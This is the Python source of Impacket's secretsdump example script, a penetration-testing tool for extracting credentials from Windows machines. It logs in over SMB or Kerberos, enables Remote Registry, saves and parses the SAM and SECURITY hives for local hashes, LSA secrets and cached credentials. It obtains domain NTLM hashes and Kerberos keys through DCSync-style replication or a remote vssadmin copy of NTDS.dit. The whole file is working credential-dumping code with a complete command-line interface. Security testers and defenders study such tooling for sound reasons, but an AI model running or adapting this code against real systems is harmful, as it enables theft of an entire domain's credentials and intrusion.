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#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
import argparse
import codecs
import logging
import os
import sys
from impacket import version
from impacket.examples import logger
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
class DumpSecrets:
def __init__(self, remoteName, username='', password='', domain='', options=None):
self.__useVSSMethod = options.use_vss
self.__remoteName = remoteName
self.__remoteHost = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__bootkey = options.bootkey
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__printUserStatus= options.user_status
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
self.__options = options
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
if self.__systemHive:
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
import binascii
bootKey = binascii.unhexlify(self.__bootkey)
else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except Exception, e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
self.__remoteOps.setExecMethod(self.__options.exec_method)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception, e:
self.__canProcessSAMLSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__doKerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception, e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
isRemote=self.__isRemote, history=self.__history)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception, e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus= self.__printUserStatus)
try:
self.__NTDSHashes.dump()
except Exception, e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e)
if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
logging.info("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt), e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = raw_input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
"the remote machine without executing any agent there.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
' (if you want to parse local files)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
parser.add_argument('-sam', action='store', help='SAM hive to parse')
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
'state')
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method insead of default DRSUAPI')
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
'method to use at target (only when using -use-vss). Default: smbexec')
group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
'Implies also -just-dc switch')
group.add_argument('-just-dc', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes only)')
group.add_argument('-pwd-last-set', action='store_true', default=False,
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
group.add_argument('-user-status', action='store_true', default=False,
help='Display whether or not the user is disabled')
group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
' the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
' (128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if options.just_dc_user is not None:
if options.use_vss is True:
logging.error('-just-dc-user switch is not supported in VSS mode')
sys.exit(1)
elif options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
sys.exit(1)
elif remoteName.upper() == 'LOCAL' and username == '':
logging.error('-just-dc-user not compatible in LOCAL mode')
sys.exit(1)
else:
# Having this switch on implies not asking for anything else.
options.just_dc = True
if options.use_vss is True and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '':
if options.system is None and options.bootkey is None:
logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')
sys.exit(1)
else:
if options.target_ip is None:
options.target_ip = remoteName
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
dumper = DumpSecrets(remoteName, username, password, domain, options)
try:
dumper.dump()
except Exception, e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)